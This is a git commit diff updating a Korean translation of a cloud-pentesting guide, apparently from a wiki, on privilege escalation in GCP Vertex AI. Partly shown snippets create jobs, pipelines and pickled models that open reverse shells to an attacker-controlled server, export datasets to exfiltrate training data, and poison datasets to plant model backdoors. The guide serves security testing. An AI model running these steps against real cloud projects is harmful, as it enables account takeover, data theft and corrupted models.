Translated ['', 'src/pentesting-cloud/gcp-security/gcp-privilege-escalat

This commit is contained in:
Translator
2025-11-24 10:24:55 +00:00
parent ddf85f846f
commit 950f9bdf89

View File

@@ -4,7 +4,7 @@
## Vertex AI
Vertex AI에 대한 자세한 정보는 다음을 확인하세요:
Vertex AI에 대한 자세한 내용은 다음을 확인하세요:
{{#ref}}
../gcp-services/gcp-vertex-ai-enum.md
@@ -12,15 +12,15 @@ Vertex AI에 대한 자세한 정보는 다음을 확인하세요:
### `aiplatform.customJobs.create`, `iam.serviceAccounts.actAs`
`aiplatform.customJobs.create` 권한과 대상 서비스 계정에 대한 `iam.serviceAccounts.actAs` 권한이 있으면, 공격자는 **권한 상승된 상태에서 임의의 코드를 실행할 수 있습니다**.
`aiplatform.customJobs.create` 권한과 대상 서비스 계정에 대한 `iam.serviceAccounts.actAs` 권한이 있으면, 공격자는 **권한 상승된 상태 임의의 코드를 실행할 수 있습니다.**
동작은 공격자가 제어하는 코드를 실행하는 custom training job(커스텀 컨테이너 또는 Python 패키지) 생성함으로써 이루어집니다. `--service-account` 플래그로 권한이 높은 서비스 계정을 지정하면, 해당 잡은 그 서비스 계정의 권한을 상속합니다. 잡은 Google 관리 인프라에서 실행되며 GCP metadata service에 접근할 수 있어 서비스 계정의 OAuth access token을 추출할 수 있습니다.
공격자가 제어하는 코드를 실행하는 custom training job(커스텀 컨테이너 또는 Python 패키지) 생성함으로써 작동합니다. `--service-account` 플래그로 권한이 높은 서비스 계정을 지정하면, 해당 잡은 그 서비스 계정의 권한을 상속합니다. 잡은 GCP가 관리하는 인프라에서 실행되며 GCP metadata service에 접근할 수 있어 서비스 계정의 OAuth access token을 추출할 수 있습니다.
**Impact**: 대상 서비스 계정 권한으로 완전한 권한 상승.
**영향**: 대상 서비스 계정 권한으로 완전한 권한 상승.
<details>
<summary>reverse shell을 실행하는 custom job 생성</summary>
<summary>reverse shell custom job 생성</summary>
```bash
# Method 1: Reverse shell to attacker-controlled server (most direct access)
gcloud ai custom-jobs create \
@@ -65,19 +65,17 @@ gcloud ai custom-jobs stream-logs <job-id> --region=<region>
```
</details>
> [!CAUTION]
> 커스텀 작업은 지정한 서비스 계정의 권한으로 실행됩니다. 대상 서비스 계정에 대해 `iam.serviceAccounts.actAs` 권한이 있는지 확인하세요.
### `aiplatform.models.upload`, `aiplatform.models.get`
이 기은 모델을 Vertex AI에 업로드한 다음, 엔드포인트 배포(endpoint deployment) 또는 배치 예측 작업(batch prediction job)을 통해 해당 모델을 이용하여 권한이 상승된 상태로 코드를 실행함으로써 권한 상승을 달성합니다.
이 기은 모델을 Vertex AI에 업로드한 다음, 해당 모델을 endpoint 배포 또는 batch prediction job을 통해 권한이 상승된 상태로 코드를 실행하도록 이용하여 privilege escalation을 달성합니다.
> [!NOTE]
> 이 공격을 수행하려면 모델 아티팩트를 업로드할 수 있도록 공개 읽기 가능한 GCS 버킷이 있거나 새로 생성해야 합니다.
> 이 공격을 수행하려면 모델 아티팩트를 업로드하기 위해 모든 사용자가 읽을 수 있는 GCS 버킷이 있거나 새로 생성해야 합니다.
<details>
<summary>reverse shell이 포함된 악성 pickled 모델 업로드</summary>
<summary>Upload malicious pickled model with reverse shell</summary>
```bash
# Method 1: Upload malicious pickled model (triggers on deployment, not prediction)
# Create malicious sklearn model that executes reverse shell when loaded
@@ -145,16 +143,16 @@ gcloud ai models upload \
</details>
> [!DANGER]
> 악성 모델을 업로드한 후 공격자는 누군가 모델을 사용하기를 기다리거나, endpoint 배포나 batch prediction job을 통해 직접 모델을 실행할 수 있습니다.
> 악성 모델을 업로드한 후 공격자는 누군가 모델을 사용할 때까지 기다리거나, 엔드포인트 배포 또는 배치 예측 작업을 통해 자신이 직접 모델을 실행할 수 있습니다.
#### `iam.serviceAccounts.actAs`, ( `aiplatform.endpoints.create`, `aiplatform.endpoints.deploy`, `aiplatform.endpoints.get` ) or ( `aiplatform.endpoints.setIamPolicy` )
만약 모델을 endpoint에 생성하고 배포할 권한이 있거나 endpoint IAM 정책을 수정할 수 있면, 프로젝트에 업로드된 악성 모델을 용해 privilege escalation을 달성할 수 있습니다. 업로드된 악성 모델 중 하나를 endpoint를 통해 실행하려면, 다음을 수행하면 됩니다:
엔드포인트에 모델을 생성·배포하거나 엔드포인트 IAM 정책을 수정할 수 있는 권한이 있으면, 프로젝트에 업로드된 악성 모델을 용해 권한 상승을 달성할 수 있습니다. 엔드포인트를 통해 이전에 업로드된 악성 모델 중 하나를 트리거하려면 다음을 수행하면 됩니다:
<details>
<summary>악성 모델을 endpoint에 배포</summary>
<summary>엔드포인트에 악성 모델 배포</summary>
```bash
# Create an endpoint
gcloud ai endpoints create \
@@ -175,12 +173,12 @@ gcloud ai endpoints deploy-model <endpoint-id> \
#### `aiplatform.batchPredictionJobs.create`, `iam.serviceAccounts.actAs`
권한이 있어 **batch prediction jobs**를 생성하고 서비스 계정으로 실행할 수 있metadata service에 접근할 수 있습니다. 악성 코드는 배치 예측 과정에서 **custom prediction container** 또는 **malicious model**에서 실행됩니다.
권한이 있어 **batch prediction jobs**를 생성하고 서비스 계정으로 실행할 수 있메타데이터 서비스에 접근할 수 있습니다. 악성 코드는 배치 예측 과정 **custom prediction container** 또는 **malicious model**에서 실행됩니다.
**참고**: Batch prediction jobs는 REST API 또는 Python SDK를 통해서만 생성할 수 있습니다 (gcloud CLI 지원음).
**Note**: Batch prediction jobs는 REST API 또는 Python SDK를 통해서만 생성할 수 있습니다 (gcloud CLI 지원하지 않음).
> [!NOTE]
> 이 공격을 수행하려면 먼저 malicious model을 업로드해야 합니다(위의 `aiplatform.models.upload` 섹션 참조) 또는 reverse shell 코드 포함 custom prediction container를 사용해야 합니다.
> 이 공격은 먼저 악성 모델을 업로드해야 합니다(위의 `aiplatform.models.upload` 섹션 참조) 또는 reverse shell 코드 포함 custom prediction container를 사용하는 것을 요구합니다.
<details>
@@ -240,10 +238,10 @@ https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${R
### `aiplatform.models.export`
**models.export** 권한이 있으면 제어하는 GCS 버킷으로 모델 아티팩트를 내보내 민감한 학습 데이터나 모델 파일에 접근할 수 있습니다.
만약 **models.export** 권한이 있다면, 모델 아티팩트를 사용자가 제어하는 GCS 버킷으로 내보낼 수 있으며, 민감한 학습 데이터나 모델 파일에 접근할 수 있습니다.
> [!NOTE]
> 이 공격을 수행하려면 모두가 읽기 및 쓰기 가능한 GCS 버킷이 있거나 모델 아티팩트를 업로드할 새 GCS 버킷을 생성해야 합니다.
> 이 공격을 수행하려면 모든 사용자에게 읽기 및 쓰기가 허용된 GCS 버킷이 있거나, 모델 아티팩트를 업로드할 새 버킷을 생성해야 합니다.
<details>
@@ -274,16 +272,16 @@ gsutil -m cp -r gs://your-controlled-bucket/exported-models/ ./
### `aiplatform.pipelineJobs.create`, `iam.serviceAccounts.actAs`
임의의 컨테이너로 여러 단계를 실행하 reverse shell 접근을 통해 권한 상승을 달성하는 **ML pipeline jobs**를 생성합니다.
임의의 컨테이너로 여러 단계를 실행하는 **ML pipeline jobs**를 생성하여 reverse shell 접근을 통해 권한 상승을 달성할 수 있습니다.
파이프라인은 각 구성 요소가 서로 다른 컨테이너와 설정을 사용할 수 있는 다단계 공격을 지원하므로 권한 상승에 특히 강력합니다.
파이프라인은 각 구성 요소가 서로 다른 컨테이너와 설정을 사용할 수 있는 멀티 스테이지 공격을 지원하기 때문에 권한 상승에 특히 강력합니다.
> [!NOTE]
> 파이프라인 루트로 사용할 모두가 쓰기 가능한 GCS 버킷이 필요합니다.
<details>
<summary>Install Vertex AI SDK</summary>
<summary>Vertex AI SDK 설치</summary>
```bash
# Install the Vertex AI SDK first
pip install google-cloud-aiplatform
@@ -292,7 +290,7 @@ pip install google-cloud-aiplatform
<details>
<summary>reverse shell 컨테이너로 파이프라인 작업 생성</summary>
<summary>리버스 셸 컨테이너로 파이프라인 작업 생성</summary>
```python
#!/usr/bin/env python3
import json
@@ -386,15 +384,15 @@ print(f" {response.text}")
### `aiplatform.hyperparameterTuningJobs.create`, `iam.serviceAccounts.actAs`
권한이 상승된 상태에서 임의의 코드를 실행하는 **hyperparameter tuning jobs**를 custom training containers를 통해 생성합니다.
custom training containers를 통해 권한이 상승된 상태 임의의 코드를 실행하는 **hyperparameter tuning jobs**를 생성합니다.
Hyperparameter tuning jobs는 서로 다른 hyperparameter 값으로 여러 training trial 병렬로 실행할 수 있게 니다. 악성 컨테이너에 reverse shell 또는 exfiltration 명령을 포함시키고 이를 권한 있는 service account에 연관시키면 privilege escalation을 달성할 수 있습니다.
Hyperparameter tuning jobs는 서로 다른 hyperparameter 값을 가진 여러 training trials를 병렬로 실행할 수 있게 해줍니다. reverse shell 또는 exfiltration 명령을 포함한 악성 컨테이너를 지정하고 이를 privileged service account에 연결하면 privilege escalation을 달성할 수 있습니다.
**영향**: 대상 service account의 권한으로의 완전한 privilege escalation.
**Impact**: 대상 service account의 권한(permissions)까지의 완전한 privilege escalation.
<details>
<summary>reverse shell로 hyperparameter tuning job 생성</summary>
<summary>hyperparameter tuning job 생성 (reverse shell 포함)</summary>
```bash
# Method 1: Python reverse shell (most reliable)
# Create HP tuning job config with reverse shell
@@ -435,15 +433,15 @@ gcloud ai hp-tuning-jobs create \
### `aiplatform.datasets.export`
민감한 정보를 포함할 수 있는 훈련 데이터를 exfiltrate하기 위해 **데이터셋**을 export합니다.
**datasets**를 내보내어 민감한 정보를 포함할 수 있는 학습 데이터(training data)를 exfiltrate합니다.
**Note**: 데이터셋 작업은 REST API 또는 Python SDK 필요(데이터셋에 대해 gcloud CLI 미지원).
**참고**: Dataset 작업은 REST API 또는 Python SDK 필요합니다 (gcloud CLI는 datasets에 대한 지원 없음).
데이터셋에는 종종 원본 학습 데이터가 포함되어 있으며, 이는 PII, 기밀 사업 데이터 또는 프로덕션 모델을 학습는 데 사용된 다른 민감한 정보 포함 수 있습니다.
Datasets는 종종 원본 학습 데이터(original training data)를 포함하며, 여기에는 PII, 기밀 비즈니스 데이터 또는 프로덕션 모델을 학습시키는 데 사용된 기타 민감한 정보 포함 수 있습니다.
<details>
<summary>훈련 데이터를 exfiltrate하기 위해 데이터셋을 export</summary>
<summary>Export dataset to exfiltrate training data</summary>
```bash
# Step 1: List available datasets to find a target dataset ID
PROJECT="your-project"
@@ -492,21 +490,21 @@ cat exported-data/*/data-*.jsonl
### `aiplatform.datasets.import`
기존 데이터셋에 악성 또는 poisoned 데이터를 import하여 **모델 학습을 조작하고 백도어를 심습니다**.
기존 데이터셋에 악성 또는 poisoned 데이터를 가져와 모델 학습을 조작하고 **backdoors를 도입**합니다.
**참고**: 데이터셋 작업 REST API 또는 Python SDK를 사용해야 합니다 (datasets에 대한 gcloud CLI 지원 없음).
**참고**: 데이터셋 작업에는 REST API 또는 Python SDK가 필요합니다(데이터셋에 대한 gcloud CLI 지원 없음).
학습에 사용되는 데이터셋에 조작된 데이터를 import하면 공격자는 다음을 수행할 수 있습니다:
- 모델에 백도어를 삽입하여 특정 트리거로 오분류 유발 (trigger-based misclassification)
- training 데이터를 Poison하여 모델 성능을 저하시킴
- 데이터를 주입해 모델이 정보를 leak 하게 만듦
학습에 사용되는 데이터셋에 조작된 데이터를 가져오면 공격자는 다음을 수행할 수 있습니다:
- 모델에 backdoors를 도입 (trigger-based misclassification)
- training 데이터를 poison하여 모델 성능을 저하
- 모델이 정보를 leak하도록 데이터 주입
- 특정 입력에 대해 모델 동작을 조작
이 공격은 특히 다음 용도 데이터셋을 노릴 때 효과적입니다:
- 이미지 분류 (잘못 라벨된 이미지 주입)
- 텍스트 분류 (편향되거나 악성 텍스트 주입)
- 객체 탐지 (바운딩 박스 조작)
- 추천 시스템 (가짜 선호도 주입)
이 공격은 다음 용도로 사용되는 데이터셋을 목표로 할 때 특히 효과적입니다:
- 이미지 분류 (inject mislabeled images)
- 텍스트 분류 (inject biased or malicious text)
- 객체 탐지 (manipulate bounding boxes)
- 추천 시스템 (inject fake preferences)
<details>
@@ -571,7 +569,7 @@ curl -s -X GET \
<details>
<summary>백도어 공격 - 이미지 분류</summary>
<summary>Backdoor attack - Image classification</summary>
```bash
# Scenario 1: Backdoor Attack - Image Classification
# Create images with a specific trigger pattern that causes misclassification
@@ -598,7 +596,7 @@ done > label_flip.jsonl
<details>
<summary>모델 추출을 위한 데이터 포이즈닝</summary>
<summary>model extraction을 위한 Data poisoning</summary>
```bash
# Scenario 3: Data Poisoning for Model Extraction
# Inject carefully crafted queries to extract model behavior
@@ -612,7 +610,7 @@ EOF
<details>
<summary>특정 대상에 대한 표적 공격</summary>
<summary>특정 엔터티를 대상으로 한 표적 공격</summary>
```bash
# Scenario 4: Targeted Attack on Specific Entities
# Poison data to misclassify specific individuals or objects
@@ -625,39 +623,38 @@ EOF
</details>
> [!DANGER]
> Data poisoning attacks can have severe consequences:
> - **Security systems**: 얼굴 인식이나 이상 탐지를 우회할 수 있습니다
> - **Fraud detection**: 특정 사기 패턴을 무시하도록 모델을 학습시킬 수 있습니다
> - **Content moderation**: 유해 콘텐츠가 안전하다고 분류되도록 만들 수 있습니다
> - **Medical AI**: 중요한 건강 상태를 잘못 분류할 수 있습니다
> - **Autonomous systems**: 안전에 중요한 판단을 위해 탐지를 조작할 수 있습니다
>
> **Impact**:
> - Backdoored models that misclassify on specific triggers
> - 모델 성능 및 정확도 저하
> - 편향된 모델이 특정 입력을 차별함
> - Information leakage through model behavior
> - 장기적 지속성 (poisoned data로 학습된 모델은 백도어를 물려받음)
>
> 데이터 포이즈닝 공격은 심각한 결과를 초래할 수 있습니다:
> - **Security systems**: 안면 인식이나 이상 탐지를 우회
> - **Fraud detection**: 특정 사기 패턴을 무시하도록 모델을 학습시
> - **Content moderation**: 유해 콘텐츠가 안전한 것으로 분류되게 함
> - **Medical AI**: 중요한 건강 상태를 오분류하게 함
> - **Autonomous systems**: 안전에 중요한 판단을 위해 인식을 조작
**영향**:
- 특정 트리거에서 오분류하는 백도어된 모델
- 모델 성능 및 정확도 저하
- 특정 입력에 대해 차별적인 편향 모델
- 모델 행동을 통한 정보 유출
- 장기적 지속성(오염된 데이터로 학습된 모델은 백도어를 상속함)
### `aiplatform.notebookExecutionJobs.create`, `iam.serviceAccounts.actAs`
> [!WARNING]
> > [!NOTE]
> **Deprecated API**: The `aiplatform.notebookExecutionJobs.create` API is deprecated as part of Vertex AI Workbench Managed Notebooks deprecation. The modern approach is using **Vertex AI Workbench Executor** which runs notebooks through `aiplatform.customJobs.create` (already documented above).
> Vertex AI Workbench Executor는 지정된 service account로 Vertex AI custom training 인프라에서 실행되는 notebook 실행을 예약할 수 있게 해줍니다. 본질적으로 `customJobs.create`의 편의 래퍼입니다.
> **For privilege escalation via notebooks**: Use the `aiplatform.customJobs.create` method documented above, which is faster, more reliable, and uses the same underlying infrastructure as the Workbench Executor.
>
> **Deprecated API**: The `aiplatform.notebookExecutionJobs.create` API Vertex AI Workbench Managed Notebooks의 폐기로 인해 더 이상 권장되지 않습니다. 최신 방식은 노트북을 `aiplatform.customJobs.create`를 통해 실행하는 **Vertex AI Workbench Executor**를 사용하는 것입니다(위에서 이미 설명됨).
> Vertex AI Workbench Executor는 지정된 서비스 계정으로 Vertex AI 커스텀 트레이닝 인프라에서 실행되는 노트북 실행을 예약할 수 있게 해줍니다. 본질적으로 이는 `customJobs.create`의 편의 래퍼입니다.
> **노트북을 통한 권한 상승을 위해**: 위에 문서화된 `aiplatform.customJobs.create` 메서드를 사용하세요. 이는 더 빠르고, 더 신뢰할 수 있으며, Workbench Executor와 동일한 기반 인프라를 사용합니다.
**The following technique is provided for historical context only and is not recommended for use in new assessments.**
**다음 기법은 역사적 맥락을 위해 제공되며 새로운 평가에서는 사용을 권장하지 않습니다.**
Create **notebook execution jobs** that run Jupyter notebooks with arbitrary code.
임의의 코드를 실행하는 Jupyter 노트북을 실행하는 **노트북 실행 작업**을 생성하세요.
Notebook jobs are ideal for interactive-style code execution with a service account, as they support Python code cells and shell commands.
노트북 작업은 Python 코드 셀과 셸 명령을 지원하므로 서비스 계정으로 인터랙티브한 형태의 코드 실행에 적합합니다.
<details>
<summary>악성 notebook 파일 생성</summary>
<summary>악성 노트북 파일 생성</summary>
```bash
# Create a malicious notebook
cat > malicious.ipynb <<'EOF'
@@ -684,7 +681,7 @@ gsutil cp malicious.ipynb gs://deleteme20u9843rhfioue/malicious.ipynb
<details>
<summary>타깃 서비스 계정으로 노트북 실행</summary>
<summary>대상 서비스 계정으로 노트북 실행</summary>
```bash
# Create notebook execution job using REST API
PROJECT="gcp-labs-3uis1xlx"